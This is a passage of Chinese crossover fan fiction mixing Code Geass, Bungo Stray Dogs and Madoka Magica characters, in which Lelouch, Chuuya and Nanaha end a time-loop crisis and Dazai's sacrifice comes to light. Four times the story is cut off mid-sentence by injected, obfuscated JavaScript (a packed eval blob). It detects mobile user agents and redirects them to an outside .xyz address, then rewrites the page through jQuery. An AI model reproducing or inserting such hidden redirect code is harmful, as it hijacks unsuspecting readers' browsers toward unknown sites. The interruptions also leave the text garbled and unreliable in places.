锁定了目标， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803283|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲁路修推动变距杆。 随着巨龙的战败，笼罩在横滨的雾气散开了一点点，也幸好如此，不然本身战场的情况就已经够差劲了，要是能见度也低到令人发指的程度，那他很可能避不开中原中也污浊全开后对外辐射出来的攻击余波。 只见干掉了巨龙的重力使并没有停下暴走的异能力，狰狞的暗红淤痕攀爬上他的身体，接管了本体的意识开始了无差别的毁灭打击。 鲁路修测算着距离，武装直升机拔升到了极限高度，在飞跃过中原中也头顶的刹那，松开了操纵杆。 没有任何的防护手段，鲁路修一跃而下。 800米。 …… 港口Mafia大楼的方向似乎出现了什么变故，身负黑翼的恶魔拦下了破茧而出的【魔女】。 …… 500米。 …… 无暇顾及其他的鲁路修稍稍偏了下脸，一块碎石与他擦身而过，给白皙的侧脸上划出了一道血线。 200米！ 有血液滴在了仰起头的中原中也眼角，失焦的蓝色瞳孔中倒映出了Gease的纹章。 理智被污浊吞没的中原中也听到了那句结束一切的指令。 “——停下来！” 鼓动蔓延的淤痕一滞，旋即收缩回了容器的体内。 污浊是停下来了，但生死危机却没有解除。 第二次了，鲁路修在这个世界又体验了一把高空蹦极，只是这次不仅没有七羽帮忙兜底，唯一能扭转局势的中原中也还因为过度使用污浊陷入了身体崩坏的绝境。 看着意识全无向下坠落的重力使，鲁路修飞速思考破局的可能性。 既然七羽和已经确认死亡的太宰治成功逆转了因果，那么正常的时间线上就一定存在着某个因果逆转的时间点。 这个时间点还没有到来，所以他们绝不会死在现在这一刻。 一定存在破局的方法！ 快想！ Gease在这种情况派不上用场，关键点一定在中原中也身上！ 等一……下？ “亏大了……” 鲁路修表情扭曲了一瞬。 真是的，他可没有给男人戴戒指的爱好啊！ 七羽，回去后，你给我等着！ 鲁路修边骂边掏出了那枚戒指。 被重力使当做武器抓取至天的大地随着支配者的昏迷开始崩解，在两方大地之间，鲁路修拉住中原中也的手，把戒指戴上了对方的小指。 就在戒指被推到掌指相接的关节处的刹那，银质的戒指转瞬崩解成了暗红色的光点后再重组，一枚鲁路修万分眼熟的水晶出现在了他的眼前。 ——是他被七羽强求取走的Code。 水晶没入，属于Code的飞鸟印记在中原中也的手背上浮现，与污浊同色的绯红照亮了昏黑的天际。 崩坏的身体在Code的作用下飞快的重构。 中原中也睁开了眼。 45.污浊了的忧伤中 赶上了…… 鲁路修松了口气，连带着紧绷的神经也在此刻松懈了下来，而这么一放松，堆积的压力与疲惫一股脑涌了上来，有那么一瞬间，鲁路修眼前被染红的视线甚至变成了褪色的灰白，直到他眨了眨眼，色彩才缓缓恢复。 没有Code果然还是太勉强了吗？ “这个东西……你们到底是……”几乎等于满血复活的中原中也拽住了鲁路修的胳膊，把人稳住，他本想问问手上这玩意和鲁路修二人的来历，结果手掌下感受到的温度却低的吓人，中原中也这才注意到鲁路修的脸色，不由得话音一转，“喂，能听清我说话吗？你还好吗？” 中原中也打量了鲁路修一番，确定他身上的血应该都来源于别人，只有眼角那片尚未完全干涸的血是属于鲁路修的。 “你这体力和你的指挥水平比起来，未免也太逊了吧？” 想到太宰治那糟糕的身体状况，以及动不动就咳嗽两声的魔人，中原中也在心里泛起了嘀咕。 难道体力废柴是高智人群的什么必备属性吗？ “啊，不是人人都是你们这种体力怪物的。” 不止中原中也联想到了太宰，鲁路修也联想到了朱雀。 他当然知道自己的体力会拖后腿，后天也有努力改变过，但很遗憾，他的身体是那对垃圾父母为了容纳王之力，提高Gease的适配性，通过人为干涉——俗称人体实验搞出来的，体弱这个毛病就是他高适配性的副作用，并不是能通过努力改变的东西。 “托你和七羽的福，距离咽气还差那么一点点吧？”鲁路修苦笑，要做的事情还很多，但他的身体却已经接近极限了，“你要是适应良好，咱们就进入下一个作战阶段？” 鲁路修的目光在中原中也空空的小指与手背的Code印记上一扫而过。 谢天谢地，戒指是直接崩解重组成了Code的水晶，他给中也戴戒指的时候对方也没有意识，不然他还得想办法解释。 至于戒指…… 呵，等回去，他绝——对要揪着七羽的领子狠狠揍上一拳，明明是他的副本，为什么全程都是自己在C啊？ 连给C.C.准备的对戒都被他给黑了，呵呵。 这合理吗？ 很会压榨部下战斗力、榨干部下最后一丝潜能的皇帝陛下难得共情了一下子曾经共事的同伴。 “我现在感觉好的不能再好了。” 中原中也居高临下的环顾了一圈横滨现在的战况。 涩泽龙彦失控造成的特异点的确是消灭了，吸血鬼之灾也因为涩泽龙彦的异能力被意外解除，算得上是因祸得福吧，但……那是什么玩意？ 中原中也看向了港/黑大楼的方向。 在中原中也最熟悉的地标处，两个超出了中原中也认知的生物正在进行一场他看不懂的无声厮杀。 从中原中也的视角，晓美焰和魔女化的七羽战斗的方式相当奇怪，他们的动作不连贯极了，看起来像是一场时常卡顿断片的无声哑剧。 像怨魂一样扭曲吊诡的奇怪生物充斥着那片空间，散播着绝望与诅咒，黑夜与大地则被浑浊的色彩渲染，变成了令人看一眼都倍感不适的抽象派水彩画。 港/黑大楼的方圆百里似乎从中原中也所认知的世界中割裂了出去，独自形成了另一个人类无法理解的诡谲世界。 中原中也终究还是没忍住喊了出来：“那是什么玩意？！” “那个啊……”鲁路修叹了口气，同中原中也一起眺望着七羽所在的战场，“大概就是你们世界的基石被污染了，有人来收拾残局了吧？” “你的意思是那个是七羽？！” “对，那是七羽，至于另一个……大概只有你的首领知道了。”鲁路修在和中原中也交流的时候目光始终停留在七羽的身上，而身边的中原中也却移开了视线。 实在是那边的两个存在已经超脱了人类或者生物的范畴，光是用目光观测，就能感觉到自己在被吸引、被同化。 “这有太宰什么事？等等……你的意思是……”中原中也先是茫然，而后他立即联想到了别的细节，“你是怎么跑到这来的？” 就等着中原中也发现，好顺势把所有解释不清的锅都扣到太宰治身上的鲁路修实话实说，“天人五衰的小丑带我来的。” 停顿片刻给中原中也用来反应，鲁路修紧接着意味深长的补上了一句，“这手笔和风格，想必中也君你很熟悉吧？” 对于现在的局势，以及其中的所有关窍鲁路修已经理清楚了，现在的问题是怎么在不暴露自己和七羽的前提下，让中原中也能理解当前的状况。 考虑到对方在太宰治手底下干了这么多年，一度坐到了最高干部的位置上，那两人间最基本的默契应该是有的吧？ 何止是熟悉？ “啊，果然是混蛋太宰，我就知道那条青花鱼不会这么简简单单的就死了。” 中原中也毫不意外现在的展开，或者说在太宰手底下这么些年，他早就习惯给任性又自我的首领收拾各种各样的烂摊子了。 要是哪天太宰治静悄悄的，那指定在憋着一个更大的作死计划。 “所以我现在要做的，就是去向七羽许愿，对吧？” 中原中也重新观摩起远处堪称概念性的战斗。 越看他的面色越是沉重。 时间操控、结界构造。 能猜得出来的能力就如此超模，这可和涩泽龙彦造成的那点小麻烦不是一个量级。 鲁路修惊讶于中原中也的领会速度，但对方主动跳过了中间的解说受益的是他，鲁路修当然不会再多此一举特意解释。 “没错，这件事只有你能做到。”鲁路修指着中原中也的手背，回答了最开始对方没问出口的问题，“这是不老不死的诅咒，也是进入群体潜意识的钥匙。” 不死加闪避？ 中原中也若有所思：“所以……我可以再开一次污浊？” 鲁路修：…… “开了污浊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815511|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你没有理智，怎么许愿？”不想暴露Gease只能对一个人使用一次的鲁路修搬出了无懈可击的理由。 “我指的又不是现在。”中原中也说道，“你是要和我一起，还是我先送你到安全的地方？” 没了Code的自己过去干嘛？ 鲁路修刚要叫中原中也送自己下去，便注意到中原中也的脸色变了。 重力使沉着面孔侧耳细听。 [阿赖耶，我知道你在看！] 晓美焰双唇开合，却没有声音传出。 [你要不想让这个世界变成特异点，就赶紧滚出来！] 银庭之主黑色的羽翼被丝线缠住，死与怨的枉死者残渣牢牢咬住她的羽翼，经七羽同化后与晓美焰同源的【爱】成了最锋利的武器，刺穿了时间的封锁，直接伤到了她的本体。 晓美焰当然可以从概念上消灭七羽，毕竟七羽还没有走到她和小圆的这一步，而是卡在成为宇宙概念与【魔女】之间的阶梯中。 但她偏偏不能这么做，七羽的能力对她和小圆来说很重要。 尤其是对已经不堪重负的圆环之理很重要。 [你也不想我在这里动真格的吧？] 中原中也不知道为什么自己突然能听到这加密一般的对话，但他知道阿赖耶识这个说法。 人类群体潜意识。 而刚刚，L.L.说这是进入群体潜意识的钥匙？ 中原中也盯着自己的手背，两秒后，他果断拉着鲁路修以最快的速度赶往远处的战场。 鲁路修猝不及防的被动加入行动，但他也没心思抱怨了，“……你发现什么了？” “机会！” 而且是很可能仅有一次的机会。 中原中也搞不懂晓美焰与七羽的战斗方式，也摸不准晓美焰的身份，但多年以来形成的战斗直觉却在告诉他，绝对不能错过这次机会。 …… [我在。] 伴随着这声由无数不同声音组成的和声，中原中也脑子里产生了“隆隆”的轰鸣声，无数纯白的微弱光芒从所有的人类身上析出，给这个怪诞的夜晚镀上了一层柔和的光晕。 中原中也看到有着黑色羽翼的恶魔张开双手，一把日式长弓出现在了她的手中，光芒凝聚成箭矢，直指七羽右眼下方一寸。 晓美焰松开了拉满的弓弦。 绝望与诅咒在接触到抑制力的瞬间开始融化，魔女巨大的躯壳裂开了一道缝隙，在缝隙的内部，鲁路修看到了自己所熟悉的那个七羽。 深蓝色的长发，紧闭的双眼，右眼下的三颗晶体，以及交叠放置在胸口处的双手，和双手中的天青色灵魂水晶。 “中也君！就是现在！” “不用你说，我早就想这么干了！” 竟然不声不响的瞒得老子团团转，死青花鱼。 “不揍他一拳我可消不了气！” 在抑制力击穿七羽之前，在稍纵即逝的最后一秒，中原中也说出了他的愿望—— 46.污浊了的忧伤中 …… [你的愿望，我收到了。] …… “呦，港口Mafia的Boss……或者，港口Mafia的叛徒。” …… 中原中也觉得自己好像幻听了。 他居然听到已经死透了的青花鱼在自己耳边说话。 等一下……青花鱼？太宰治？ 中原中也猛地睁开眼，也是在他清醒过来的这一刻，已经停止了收缩扩张的肺泡也重新运转了起来，开始往身体里的每一个细胞输送氧气。 这里……首领办公室？ 中原中也打量着这个熟悉的环境，他昏迷前最后的记忆是七羽挣开得双眼，以及眼下碎裂的紫色水晶，紧接着他还没来得确定自己被强求了什么作为代价，水晶的碎片就从右眼刺进了他的大脑，连疼痛都来不及体验，中原中也的世界就完全黑了下去。 再醒过来就是现在了。 “你确定要在这个时候走神吗？” 中原中也看着面前缠着绷带的熟悉身影，不由得对着那张阴沉沉很能唬人的面孔轻笑出声，“呦，混蛋太宰。” 迎着太宰治晦涩的视线，中原中也晃了晃被拷在墙上的手，“你知道我是来干什么的吧？赶紧给我解开。” 手铐连着的锁链哗哗作响，中原中也看都没看一眼架在自己颈动脉旁边的锋利匕首，“准备得很充分嘛。” “解开？”太宰治一字一顿，慢吞吞重复了一遍，匕首在他的手里灵巧的转了个刀花，“噗”的一下连带着中原中也脖子上挂着的红色围巾一起钉在了铺了隔音棉的墙壁上。 中原中也感觉到侧颈一痒，一道血线从侧颈向后延伸，没入了肩膀搭着的橘色长发中。 “啊哈，几天不见，中也你倒是变聪明了不少。” 屋子里没开灯，那扇整整一面墙的巨大落地窗也拉着遮光帘，太宰治往后退了一步，他低头看着中原中也侧颈的那道伤口，那道伤口已经在转瞬间愈合如初。 “你是怎么发现的？” 随着太宰治的退后，人间失格的效果也消失了，中原中也轻而易举的挣开了手铐，揉着手腕的时候左手上的Code标志就这么明晃晃的暴露在了太宰治眼皮子底下。 “要是有另一个你出现在我面前，我会直接动手。”中原中也随口解释，“你也应该这么做。” 他把报废的手铐踢到一边，“你准备的还挺充分，怎么，知道我会在今天过来给你收尸？” ——距离太宰治死亡，还有14小时53分钟。 …… “中原干部？” “嗯。” “中也先生下午好！” “嗯。” 中原中也跟在太宰治身后，一路上遇到的港/黑成员见到他都恭恭敬敬的打着招呼，竟然没有一个人看出来出现在这里的不是他们这个时间段的中原中也。 至于走在前面的太宰治…… 沿途的所有人路过他时都埋着头，目不斜视的盯着自己的鞋尖，在拘谨又颤抖的一句“Boss”后，跑得一个比一个快。 “你说还有事要办，什么事？” 中原中也维持着落后太宰治半步的距离，他那身被血浸透的黑大衣在风干后已经成了皱巴巴的梅干菜，此时他身上穿着的是从太宰治衣柜里拿的，长出来一节的袖口与裤腿被他卷了两圈挽了上去，算是能勉强应付一下。 随口应付着每个打招呼的下属，中原中也总算明白了为什么“自己”被太宰治关在了首领办公室里面的密室那么久，都没人发现不对，连红叶大姐也没察觉到不妥。 坑了自己的始作俑者竟然就是他自己…… 在港/黑其他成员的眼里，自己可能压根就没失踪过。 “在执行最终计划前，我需要去一个地方。”太宰治说话的时候声音嘟嘟囔囔的，他一手揉着被打肿的腮帮子，一手从裤兜里拎出来一串车钥匙往后一丢，“特殊时期，中也不在我也不好出去。” 两人站在一辆普普通通的黑色商务前，中原中也倒没在这种小事上和太宰治呛声，或者说，自他发现太宰治并不是第一次见到从时间线之后回溯的自己后，中原中也一路上都异常沉默，连揍人的时候都没骂出声。 “Lupin酒吧？银座？” 只是在太宰治说出地点的时候，中原中也还是略感诧异。 可坐在副驾驶规规矩矩系好安全带的太宰治却没有解释说明的兴致，他脑袋往后一靠，闭上眼一副拒绝回应的摆烂样子。 中原中也从后视镜里瞥见他眼下的青黑，还是换挡踩下了油门。 有些事一旦开了一个突破口，那只要顺藤摸瓜就能抓出更多的东西。 把时间点往前推，上次天人五衰策划黑色星期五的时候，他明明抓住了果戈里，结果太宰治自作主张去审讯室溜达了一圈，在一番交谈甚欢（威逼利诱）后，放走了刺杀了多名高官的果戈里。 再顺着时间线继续向前，类似的事件还有很多，中原中也记得最严重的一次，他前脚刚被支开去了意大利那边谈生意，后脚太宰治就和异能特务科合作，帮异能特务科重新收容了白麒麟涩泽龙彦。 太宰治给出的理由是一张异能开业许可证。 那时候的中原中也只觉得荒谬。 他们港/黑都已经一家独大了，要这一张废纸有什么用？ 不买账的中原中也直接以下犯上，把自家首领狠揍了一顿，然后被罚加了一个月班。 “六年前……”把黑色商务停在了酒吧门口，中原中也突然开口，“你第一次见到我，是在六年前？” 没有人应声，可中原中也很清楚，太宰治不可能睡着了。 他下意识的用食指敲击着方向盘，频率随着他把昔年的经历一一捋清楚后开始变得烦躁起来。 “你这家伙已经……” “中也。”太宰治打断了他，“我要进去喝酒。” “……哈？” 太宰治在中原中也不理解的目光中解开安全带跳下了车，“不然来酒吧还能干嘛？我当然是来喝酒的啊，快点快点！” “喂！你不能就这么大大咧咧的走过去啊！有点首领的自觉啊混蛋青花鱼！” “不要，无理取闹的分明就是中也。” 太宰治熟门熟路的往里走，可中原中也很确定，太宰之前绝对没来过这间酒吧。 跟着太宰治在卡座坐下。中原中也看着对方连菜单都没碰就点好了单，忍不住问道：“你在某一次来过？” “没有哦。”太宰治否认，他靠坐在卡座里，脸上的表情是少见的放松，像是终于跑完了一场只有他自己的马拉松，抵达了原本以为坚持不到的终点。 而他后面的话也印证了中原中也的推测。 “坦白说，中也你真的很过分，每次都以大欺小，二话不说就先往我脸上揍，哇，当时我就在想，小矮子你等着，我绝对绝对要上位，让你心甘情愿在我手底下干活，把你指使得团团转，再在你忙得脚不沾地的时候偷偷喝光你酒柜里边所有的红酒！” “……你找揍？” “啊咧？我说出来了吗？真不好意思啊，因为反正中也你都会忘掉的，所以我习惯性的就把蛐蛐你的吐槽说出来了哦？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820259|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那些没有人能够理解的孤独，没有人能够理解的绝望，都在看到中原中也的这一刻消失了。 终于结束了。 从六年前，16岁的太宰治拿到“书”，第一次见到回溯而来的22岁的中原中也。 为了那个目标，为了实验出来所有的可能性，他向寄藏在中原中也右眼的【魔女】许下愿望，只为了能给他们铺下通往未来的路。 三千六百次，唯一的一条路。 中原中也沉默了片刻，直到酒被端上了桌才开口：“这是最后一次了？” “对啊，我终于能歇班了。” “我还会回来，也就是说，这次有必须由我来完成的事。”中原中也有了某种预感，他盯着对面的太宰治，“是什么？” “的确有一件必须由你来做的事。”太宰治说，“在我死后，麻烦你用这个东西找到我的意识，再杀死我一次。” 中原中也顺着太宰治的视线看过去，意识到对方说得是鲁路修给他的奇怪异能力。 “好了，时间差不多了，我们也该回去了。”太宰治一口气喝干了玻璃杯里的酒液，撑着桌子站了起来，“对了，差点忘了这个……” 太宰治伸出一根手指抵上了中原中也的右眼，后者本能的闭了眼。 “……你什么毛病？” “喂喂，这可是我们世界的基石，结束回溯的最后一块碎片，明明是小矮子你叫我要还回去的！” “呵，那还真是抱歉，我不记得了，现在，恶心死了，死青花鱼，爪子拿开。” …… 回到港/黑总部，中原中也全程围观了太宰治用港/黑给两个小鬼当经验包的全过程，太宰治嘴上嚷嚷着这是必要的牺牲，但迫于中原中也的ICU警告，太宰治还是适当的收敛了那么一丢丢，稍稍控制了一下伤亡程度。 送走了芥川龙之介和中岛敦，中原中也才从阴影里走出来，他看着走上了天台的太宰治，知道此时就是最后了。 “提前声明，我可不会悼念你。”而这个世界也不会有人铭记你的付出。 中原中也知道太宰治听得出来他的潜台词，太宰治也明白中原中也的未尽之语。 “那岂不是正好？要是每到我解脱的这一天你都去我的坟头开红酒，就算变成尸体我也会气得蹦起来炸了你的机车。”太宰治庆幸的语气异常的逼真，“再说了，像我这么小气又胆小的家伙，当然是有私心的啦，中也你也不要太自作多情，我可不是为了拯救世界这么高尚的理由。” 我只是为了织田作。 因为只有这一条世界线，那个神经大条的吐槽役三流作家才能安心写小说，我才坚持到了今天。 “但作为救世主嘛——” 站在港/黑大楼的顶层，太宰治张开了双手，他的衣摆在狂风中猎猎作响，黑发摆动，遮住了那只没被绑带覆盖的鸢色瞳孔。 “——这个世界，就是我的墓志铭。” 所以我也不需要刻碑，不需要悼念。 “不过在死之前，中也能满足一下我的好奇心，就当是临终关怀吗？” “你先问，我再考虑要不要对你进行临终关怀。” “中也是通过许愿才进行了回溯吧？”太宰治背对着他，“那么最开始，中也到底是许了什么样的愿望？” “那还用说吗？当然是许愿回来把你打一顿出气了。” “还真是中也的风格。” 骗子。 “那就，再也不见啦。” 不过这样也不错。 ——距离太宰治死亡，还有0小时0分钟。 47.污浊了的忧伤中 世界中止了。 被拽着一起赶到战场的鲁路修亲眼目睹了中原中也许愿后世界中止的全过程。 原本热闹的横滨在中原中也愿望实现的刹那变得寂静无声，整个世界都成了一张褪色的黑白水彩画，只有唯二的两人还留有颜色。 “又见面了，管理员小姐。” 鲁路修没在意世界的异样，他神态自若的同解除战斗姿态的银庭之主打着招呼。 “看来你和七羽相处得还不错？” 晓美焰优雅的把因为战斗散落的红色发带重新打好了蝴蝶结，黑色的堕天礼服已经恢复成普通的学生制服，此时看上去就像个普普通通国中生的银庭之主轻轻一击掌—— 【啪。】 没有发出声音的击掌声响在了鲁路修的意识中。 焰魔的银庭显现于世，流动的银取代了定格的夜空，桔梗花海铺满了被战火焚烧的大地，因为七羽引发的异象被藏在了银庭的结界之内。 “七羽并不是很难相处的家伙，而你就不一样了。”鲁路修话锋一转，“我一直认为，要真正理解一个人，不能去听他说了什么，而是要看他做了什么。” 想到在上一个世界的最后——也就是鲁路修自己的世界，这位不打招呼就降临自己脑子里的管理员小姐所说的那些话…… 鲁路修说道：“你让我很难相信你是站在七羽这一边的。” 晓美焰面无表情的侧过头：“我自始至终都是站在圆环之理这一边的。” 被七羽的系统纳入员工名册后，为了保证各个来自不同世界的员工能够理解自己的现状，系统会给每个入职的员工发送相应的“知识”，鲁路修在同意成为七羽的员工后，就曾体验过脑袋被打包发来的知识塞满的可怕经历。 但目前看来，这份“知识”的可信度十分令人堪忧。 “【七羽】是怎么一回事？”鲁路修没在不可能达成一致的问题上浪费口舌，他跳过了两人之间的分歧点，转而询问目前最要紧的问题，“她就是七羽？还是说……” 鲁路修停顿了一下，随后放轻声音：“她才是七羽。” “我果然没看错人。”晓美焰鼓起掌，“那孩子是——” 出乎意料的，晓美焰的回答被消了音，她“啧”了一声，目光瞥向港/黑大楼的顶层，可原本留在那里的【七羽】早就带着魔人一起消失了。 ——真是麻烦。 鲁路修从晓美焰的表情上读出来了她的抱怨。 不能被提及，也无法被提及吗？ 看来【七羽】是某种在因果之外的不应存在之物。 考虑到她和七羽之间的关联性，以及魔法少女诞生的原因…… 鲁路修得出结论：“所有魔法少女都是由愿望而生的存在，愿望决定了你们的存在形式，她和七羽会变成现在的样子，是因为他们的愿望？” 晓美焰没说是，也没说不是，“我无法说出口。” 她抬头看向流银的天空，“孵化者一直在注视着这里，在搞清楚那些东西的本质之前，我不能谈论一切和七羽相关的话题。” “这就已经足够了。”鲁路修在晓美焰面前递出右手，掌心朝上，“既然七羽由你负责，那工伤麻烦结一下。” 他可以不在意被充公的Code，但别的不行。 “……”话题实在的转换的太快，成天打交道的只有杏子和沙耶香那样性格的家伙，作为魔法少女中少有依靠战术以及脑子的晓美焰一时间竟有些反应不能。 “看在你和我是同类的份上……”晓美焰掌心一握一松，一张绘制着无数彩色玻璃镜面的卡牌被递到了鲁路修面前，“要不要给你那位使用，由你自己决定。” 掌握时间与因果的银庭之主撩了一下被风吹乱的长发，空气重新开始流动，停滞的世界开始重启，错乱的因果线形成了新的闭环，起初夜空中只是多出了一点金色的星光，随后星光汇成洪流，形成了贯穿世界的道标。 “是不是很壮观？”晓美焰看着这幅景象，这已经是她第三次见到这番情景了，“时间到了，他们回来了。” 虽然同小圆与自己那时造成的影响相比还不够庞大，但也撬开了成为概念的一角。 【七羽】那家伙也不只会碍事嘛。 银庭的幻影被现实驱逐了出去，晓美焰的身影也随之慢慢淡化，就像是被橡皮擦下去的铅笔画一样，被这个世界抹去了。 结果只留下了更多的谜语。 鲁路修把卡片塞进口袋，暗自吐槽。 虽然最开始就知道这是个坑，但…… 接住从空中跌落的七羽，鲁路修叹了口气。 行吧，谁让我们是朋友呢。 “见到他了？”安置好七羽，重新被重力托住的鲁路修好奇的打量着恢复意识的中原中也，从后者的表情上他很难看出来什么东西，但鲁路修直觉他似乎并不怎么开心。 “啊……” 中原中也应了一声，覆上自己左手的手背，指缝之间，Code散发出来的光芒给白皙的手指晕上了一层暖光。 “已经解决了。”各种意义上的。 中原中也没有详细说发生了什么，他只是安静看着夜幕下耸立的港/黑大楼，看着这个建立在许许多多牺牲之上的组织。 除他之外不会有人知道，所有的的存续——包括世界的存续都是建立在一个人莫大的牺牲上。 那是一段永远不会被后人观测到的因果之外的故事。 没有人会知晓，也不会载入史册。 “那边好像也解决了。”鲁路修让昏睡的七羽靠在自己身上，往骸砦的方向投过去个视线，“喂，你还好吧？” 本想说要不要联系异能特务科，看看是否需要支援解决白麒麟，但鲁路修却注意到作为主战力的中原中也有些不在状态。 “没什么，只是有点累了。”已经知晓了太宰全部计划，没了后顾之忧的中原中也向鲁路修伸出右手，“走吧，我们回港/黑。” * 鲁路修直接睡了一天一夜，他是被饿醒的。 24小时滴水未进的胃口用痉挛的疼痛进行着抗议，所以哪怕是困乏得不想睁眼，鲁路修还是强迫自己从温暖的被子里爬了出来。 “早上好啊，L.L.。” 造成他如此劳累的罪魁祸首就在眼前，鲁路修盯着正在往嘴里塞三明治的七羽，扯出一个皮笑肉不笑的阴沉笑容。 鲁路修：“你不打算解释一下吗？” 七羽挠了挠鼻子，“这个……是突发情况？” 拿了一个没拆封的三明治丢给鲁路修，七羽不知道应该怎么解释好，“我其实不太记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833917|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得了，好像，这是我们的第二轮了。” 他把系统面板上的任务剩余时间念给鲁路修听，“所以，我们团灭过一轮，但因为我模拟目标的特殊性，我们又重开了一轮……大概？” 亚路嘉和拿尼加是七羽曾经的一任御主，所以七羽对他们俩的能力以及共生方式相当熟悉。 “我觉得，第一轮我才是亚路嘉，可能是拿尼加失控了？或者有人的因果不足以支付愿望？”七羽推测道，“我不记得更具体的东西了，我只记得最后我许愿了。” 很好，很七羽的回答。 鲁路修警告自己要冷静，七羽的精神状态和我行我素他是在上个世界亲自领教过的，和他生气是没有用的。 “你说拿尼加？她是你的妹妹？” “不是，她是某个世界里的[五大灾厄]之一，能够满足任何[欲望]。” …… 不，我不是想问这个，因为出现的压根不是拿尼加，而是【七羽】。 但鲁路修尝试了几次，发现不管他怎么用语言取巧，都没办法提及【七羽】的存在，就像是她不能被提起，又或者，她的存在本身，已经变成了【不存在】，所以没有人可以把她说出口。 就同晓美焰当时的回答被消音了一样。 但奇怪的是，和晓美焰进行对话的时候，鲁路修至少能说出【七羽】的名字，可在七羽面前，连名字都成了不能宣之于口的禁忌。 七羽等了一会儿，不见鲁路修继续开口，便说起了他们的系统任务。 “……你刚才不是说我们的副本时间只剩下三个小时了吗？”鲁路修提了个中肯的建议，“你觉得中原中也怎么样？” 七羽全程挂机，是指望不上了，但执行任务的是两个人，也就是说鲁路修刷出来的信赖也是算数的。 “我没有你的系统面板，你可以看看中原中也对我的信赖值。”好歹也帮他们解决了个大危机，鲁路修自觉打了不少工，想来60点的及格线应该是轻轻松松。 只是打着“来帮忙收拾残局”旗号，强撑着爬起来去找中原中也的鲁路修注定要失望了。 中原中也的确在隔壁的首领办公室，他的桌子上堆满了各种战报，港/黑的首领有条不紊的快速处理着，把处理后的战报丢进旁边的燃烧着的壁炉。 “休息好了？”他抬眼看向脸色很不好的鲁路修，端着已经空掉的咖啡杯走向吧台。 看着中原中也那娴熟的冲咖啡动作，七羽的双眼亮了起来。他戳了戳身边鲁路修的胳膊，向中原中也那边努努嘴，示意鲁路修赶紧想想办法把人拐走。 鲁路修：多少？ 七羽：-15。 鲁路修：多少？？ 七羽又看了眼系统面板：-15。 鲁路修：…… “你们是来回收这个东西的吧？”中原中也转过身，后方的两人也停止了眼神交流，他摘下左手的手套，露出Code的印记，“我可以物归原主，如果你能回答我一个问题。” 面对拥有死而复生奇迹的Code，中原中也毫无留恋，他盯着七羽，在等一个回答。 “你是想问我向你索取了什么代价？” “不。”中原中也停顿了一下，他垂眼看着面前冒着热气的咖啡，“那家伙……你向太宰索取了什么代价？” 48.污浊了的忧伤中 七羽到没想到中原中也第一个问得居然不是自己。 他想了想，随即意识到了什么，“他——我是说你朋友，还在C的世界吗？” “他不是我朋友，只是我的首领。”中原中也纠正了七羽的说法，“C的世界？你说这里？”他扬起左手，轻描淡写地说道，“不在了。” 中原中也反手把Code的印记朝向七羽二人，“那家伙说他轮回了太多次，使用了太多你的力量，扭曲的因果线已经分和他分割不开了，再加上他本来就是个自/杀狂魔，索性死得更干净一点。” 当然太宰治可不会用这么正常的语言来耐心的解释前因后果，这是中原中也翻译过后的版本。 但这其实并不是说服了中原中也的理由，他会同意前往C的世界，帮太宰治做一个了结的根本原因是他能感觉到，太宰的的确确已经没有了一丝一毫的求生欲望。 千百次的轮回往复，千百次的踽踽独行已经耗光了他对生所有渴求，再加上太宰本身就不是对活下去有执念的类型，甚至以中原中也对太宰的了解，他都惊讶太宰那家伙居然坚持到了最后，而不是中途就摆烂放弃。 对太宰治来说，这已经是值得在中原中也面前夸耀的莫大成就了。 所以中原中也选择尊重太宰治的决定，但这不代表着他不会向造成这一切的七羽追究责任。 “你拿走了太宰的什么？”中原中也目不转睛的盯着七羽，七羽能看到系统面板里面的好感值在迅速波动，“你们真正的来意到底是什么。” 他们露出的破绽已经足够多了，无论是中原中也手上这个不会被人间失格无效化、能够收容太宰治的印记，还是在涩泽龙彦异能力作用下没有析出异能力本体的鲁路修，乃至压根就不是“书”的七羽，都指向一个离谱的真相。 